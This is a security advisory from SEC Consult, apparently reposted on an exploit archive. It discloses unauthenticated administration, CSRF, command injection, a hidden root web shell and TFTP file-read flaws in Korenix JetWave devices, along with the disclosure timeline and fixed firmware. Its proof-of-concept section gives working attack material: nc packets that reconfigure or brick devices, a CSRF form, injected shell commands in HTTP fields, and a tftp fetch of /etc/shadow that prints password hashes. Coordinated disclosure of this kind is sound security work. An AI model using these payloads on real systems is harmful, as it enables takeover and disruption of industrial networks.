Korenix Technology JetWave CSRF / Command Injection / Missing Authentication

Authored by T. Weber | Site sec-consult.com

Posted Feb 4, 2022

Korenix Technology JetWave products JetWave 2212X, JetWave 2212S, JetWave 2212G, JetWave 2311, and JetWave 3220 suffer from unauthenticated device administration, cross site request forgery, multiple command injection, and unauthenticated tftp action vulnerabilities.

tags | exploit, vulnerability, csrf
advisories | CVE-2020-12500, CVE-2020-12501, CVE-2020-12502, CVE-2020-12503, CVE-2020-12504, CVE-2021-39280
SHA-256 | 5a25ab12344f226941a56dbd876e476339306b241e827b61d60cb9042131e4b4 Download | Favorite | View

Related Files

Change Mirror Download

```
SEC Consult Vulnerability Lab Security Advisory < 20220131-0 >
=======================================================================
               title: Multiple Critical Vulnerabilities
             product: Korenix Technology JetWave products:
                      JetWave 2212X, JetWave 2212S, JetWave 2212G,
                      JetWave 2311, JetWave 3220
  vulnerable version: See "Vulnerable / tested versions"
       fixed version: See "Solution"
          CVE number: CVE-2020-12500, CVE-2020-12501, CVE-2020-12502,
                      CVE-2020-12503, CVE-2020-12504, CVE-2021-39280
              impact: Critical
            homepage: https://www.korenix.com/
               found: 2020-04-06
                  by: T. Weber (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Korenix Technology, a Beijer group company within the Industrial Communication
business area, is a global leading manufacturer providing innovative, market-
oriented, value-focused Industrial Wired and Wireless Networking Solutions.
[...]
Our products are mainly applied in SMART industries: Surveillance, Machine-to-
Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer
base covers different Sales channels, including end-customers, OEMs, system
integrators, and brand label partners."

Source: https://www.korenix.com/en/about/index.aspx?kind=3


Business recommendation:
------------------------
The vendor provides an updated firmware which should be installed immediately.

SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve potential further critical
security issues.


Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Device Administration (CVE-2020-12500)
Korenix, Westermo (members of the Beijer Group) and Comtrol (Pepperl+Fuchs) are
sharing a partially similar firmware base for the industrial devices. They can
be managed via a Windows client program called "Korenix View" or "Jet View".

This program communicates in plaintext via UDP. All messages that are sent to
the device are broadcast in the whole subnet and the answers from the devices
are sent back via broadcast too.
The older version of this management program, called "cmd-server2", can be
controlled without a password. Analyzing the newer version, called
"jetviewd", indicates that some kind of password can be set. But this is not
part of the default configuration.

Actions that can be done via this daemon, listening on UDP port 5010, are:
  * Modifying networking settings (IP, netmask, gateway)
  * Initiating self tests and blink LEDs on the device
  * Triggering download and upload of configuration files (via TFTP)
  * Triggering uploads of new firmware and bootloader files (via TFTP)

The device can also be bricked via this daemon so that it is necessary to press
the reset button and re-configure the settings.


2) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)
The web interface, that is used to set all configurations, is vulnerable to
cross-site request forgery attacks. An attacker can change settings via this
way by luring the victim to a malicious website.


3) Multiple Authenticated Command Injections (CVE-2020-12503)
Multiple command injection vulnerabilities were found on the device series
"JetWave".

They are partially sharing the same firmware base. Therefore, the payloads to
exploit those command injections are similar. Due to the lack of CSRF
protection, an attacker can execute arbitrary commands on the device by luring
the victim to click on a malicious link.


4) Hidden OS Web-Shell Interface (CVE-2021-39280)
The endpoint /syscmd.asp in the web interface of the devices contains an
undocumented web-shell that can be used to invoke system-commands as root
after authentication.

It seems that this is part of the used SDK and a leftover artifact.

In combination with the missing CSRF protection, this vulnerability poses a
higher risk.


5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504)
A TFTP service is present on a broad range of devices for firmware-,
bootloader-, and configuration-uploads/downloads. This TFTP server can be
abused to read all files from the system as the daemon runs as root which
results in a password hash exposure via the file /etc/passwd. Write access is
restricted to certain files (configuration, certificates, boot loader,
firmware upgrade) though.

By uploading malicious Quagga config-files an attacker can modify e.g.
IP settings of the device. Malicious firmware and bootloader uploads are
possible too.


Proof of concept:
-----------------
1) Unauthenticated Device Administration (CVE-2020-12500)
All commands can be sent via UDP port 5010.

Device discovery (firmware/bootloader version etc. in response):
echo -e "\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 154 files
- Ubuntu 73 files
- LiquidWorm 23 files
- Debian 18 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 8 files
- T. Weber 4 files
- Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
Blink with leds:
echo -e "\x00\x00\x00\x5b\x00\x00\x00\x01\x01" | nc -u $IP 5010

Permanent denial of service. The device is only available after pressing the
reset button to load the default config:
echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01\x01" | nc -u $IP 5010

Present on:
  * Korenix JetWave (Multiple devices)


2) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)
The following CSRF PoC can be used to ping 127.0.0.1. All other actions in the
context of the menu, like uploading config files, can be done in the same way:
--------------------------------------------------------------------------------
<html>
   <body>
   <script>history.pushState('', '', '/')</script>
     <form action="http://$IP/goform/formping" method="POST">
       <input type="hidden" name="PingIPAddress" value="127.0.0.1" />
       <input type="hidden" name="submit-url" value="/toolping.asp" />
       <input type="hidden" name="Submit" value="Ping" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>
--------------------------------------------------------------------------------


3) Multiple Authenticated Command Injections (CVE-2020-12503)
At least two command injections are present in the default web interface. It is
likely that more such vulnerabilities are present on the device.

3.1) Semi-Blind Command Injection
The following command injection works on the devices:
  * Korenix JetWave (Multiple devices)

The ping functionality in the web interface can be abused to inject system
commands in a semi-blind way. Two requests must be sent to the service to
retrieve the output of the command injection.

The first request is a POST request to the endpoint /goform/formping:
--------------------------------------------------------------------------------
POST /goform/formping HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779
Upgrade-Insecure-Requests: 1

PingIPAddress=;id;&submit-url=%2Ftoolping.asp&Submit=Ping
--------------------------------------------------------------------------------
This request triggers the actual command injection in a blind way. The output
can be fetched from the system by using the following GET request after
triggering the previous POST request:
--------------------------------------------------------------------------------
GET //toolping.asp HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------


3.2) Blind Command Injection
The following command injection works on the devices:
  * Korenix JetWave (Multiple devices)

The configuration upload via TFTP in the web interface can be abused to inject
system commands in a blind way.

The request is a POST request to the endpoint /goform/formTFTPLoadSave:
--------------------------------------------------------------------------------
POST /goform/formTFTPLoadSave HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Connection: close
Cookie: ui_language=en_US; -common-web-session-=::webs.session::f6070212ccae758d7d247fb8e2c52cd7
Upgrade-Insecure-Requests: 1

submit-url=%2Fmgmtsaveconf.asp&ip_address=127.0.0.1;ping
192.168.1.1;&file_name=ap.conf&tftp_action=load&tftp_config=Submit
--------------------------------------------------------------------------------


4) Hidden OS Web-Shell Interface (CVE-2021-39280)
The endpoint /syscmd.asp can be accessed after successful login. It can be used
to execute system commands directly as root.

Present on:
  * Korenix JetWave 2212X
  * Korenix JetWave 2212S
  * Korenix JetWave 2212G
  * Korenix JetWave 2311
  * Korenix JetWave 3220
  * Korenix JetWave 3420


5) Arbitrary TFTP Actions (CVE-2020-12504)
The Linux TFTP client was used to download files from the system using
absolute paths. Uploads were only possible on existing paths like:
/home/Quagga.conf
/home/bootloader.bin

To download the /etc/passwd file from the system, the following
command was invoked:

[user@localhost ~]$ tftp -m binary <Target-IP> -c get /etc/shadow
[user@localhost ~]$ cat shadow  root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
bin::10933:0:99999:7:::
daemon::10933:0:99999:7:::
adm::10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
nobody::10933:0:99999:7:::
ap71::10933:0:99999:7:::

Present on:
  * Korenix JetWave (Multiple devices)

The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an
emulated device by using the MEDUSA scalable firmware runtime.


Vulnerable / tested versions:
-----------------------------
The following firmware versions have been identified to be vulnerable:
  * Korenix JetWave 2212X      / 1.5
  * Korenix JetWave 2212S      / 1.5
  * Korenix JetWave 2212G      / 1.4
  * Korenix JetWave 3220       / 1.2
  * Korenix JetWave 3420       / 1.1.3T
  * Korenix JetWave 2311       / 1.2 is EOL now


Vendor contact timeline:
------------------------
2020-04-14: Contacting CERT@VDE through info@cert.vde.com and requested support
            for the disclosure process due to the involvement of multiple
            vendors.
2020-04-15: Security contact responded, that the products were developed by
            Korenix Technologies.
2020-04-30: Security contact informed us, that some vulnerabilities were
            confirmed by the vendor.
2020-07-30: Call with Pepperl+Fuchs contact. Contact stated that the
            vulnerabilities were reported to Korenix.
```

```
2020-09-29: Call with Pepperl+Fuchs and CERT@VDE regarding status.
            Pepperl+Fuchs stated that they just have a sales contact from
            Korenix.
2020-10-05: Coordinated release of SA-20201005-0.
2020-10-05: Call with the helpdesk of Beijer Electronics AB. The contact stated
            that no case regarding vulnerabilities were opened and created one.
            The product owners of Westermo, Korenix and Beijer Electronics were
            informed via this inquiry. Set disclosure date to 2020-11-25.
2020-10-06: Restarted the whole responsible disclosure process by sending a
            request to the new security contact cs@beijerelectronics.com.
2020-10-07: Received an email from a Korenix representative which offered to
            answer questions about product security. Started responsible
            disclosure by requesting email certificate or whether plaintext can be
            used. Referred to the request to cs@beijerelecrtronics.com.
            No answer.
2020-11-11: Asked the representatives of Korenix and Beijer regarding the
            status.
            No answer.
2020-11-25: Phone call with security manager of Beijer. Sent advisories via
            encrypted archive to cs@beijerelectronics.com. Received
            confirmation of advisory receipt. Security manager told us that he
            can provide information regarding the time-line for the patches
            within the next two weeks.
2020-12-09: Asked for an update.
2020-12-18: Call with security manager of Beijer. Vendor presented initial
            analysis done by the affected companies.
2021-03-21: Security manager invited SEC Consult to have a status meeting.
2021-03-26: Agreed on an advisory split as other affected products will get
            patched later.
2021-04-12: Performed advisory split.
2021-05-26: Meeting regarding advisory publication. Agreed to release this
            advisory in Q4.
2021-06-01: Released related advisory SA-20210601-0.
2021-07-05: Follow-up meeting with vendor regarding next steps.
2021-07-16: Contact from Beijer Electronics reached out to Korenix. Engineers
            from Korenix are still investigating the issues. JetWave 2311 went
            EoL, next status update in August. JetPort will be fixed in
            Q1 2022.
2021-09-15: Asked for status update;
2021-09-20: Korenix will provide a time schedule for the patches by end of next
            week.
2021-09-28: Meeting regarding the schedule. Fixes will be available by end of
            the year for Korenix JetWave series.
2021-09-28: Update call with vendor; Fixes will be available in November.
2021-11-18: Contact had difficulties to get a response from Korenix. JetWave
            2212G 1.8.0 has been released, other fixes will be released in
            December.
2021-11-22: Vendor provides all other fixed versions, which have already been
            put online.
2021-12-17: Performed another advisory split.
2021-12-20: Update call with vendor. Identified another possibly affected
            device (JetWave 3420). Investigation will be started from Korenix
            as soon as possible.
2021-12-28: Vendor has rolled out an update for the JetWave 3420 V3 firmware.
2022-01-17: Informed vendor about the advisory release within the next two
            weeks.
2022-01-19: Call with vendor; agreed that advisory can be published for
            JetWave series.
2022-01-24: Informed vendor about advisory release on 2022-01-31.
2022-01-31: Coordinated release of advisory.


Solution:
---------
The following firmware updates are being provided by the vendor:

  * Korenix JetWave 2212X      / 1.9.1
  * Korenix JetWave 2212S      / 1.9.1
  * Korenix JetWave 2212G      / 1.8
  * Korenix JetWave 3220 V3    / 1.5.1
  * Korenix JetWave 3420 V3    / 1.5.1
  * Korenix JetWave 2311       / is EOL now

The firmware can be downloaded from the vendor's support page:
https://www.korenix.com/en/support/index.aspx


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Thomas Weber / @2022
```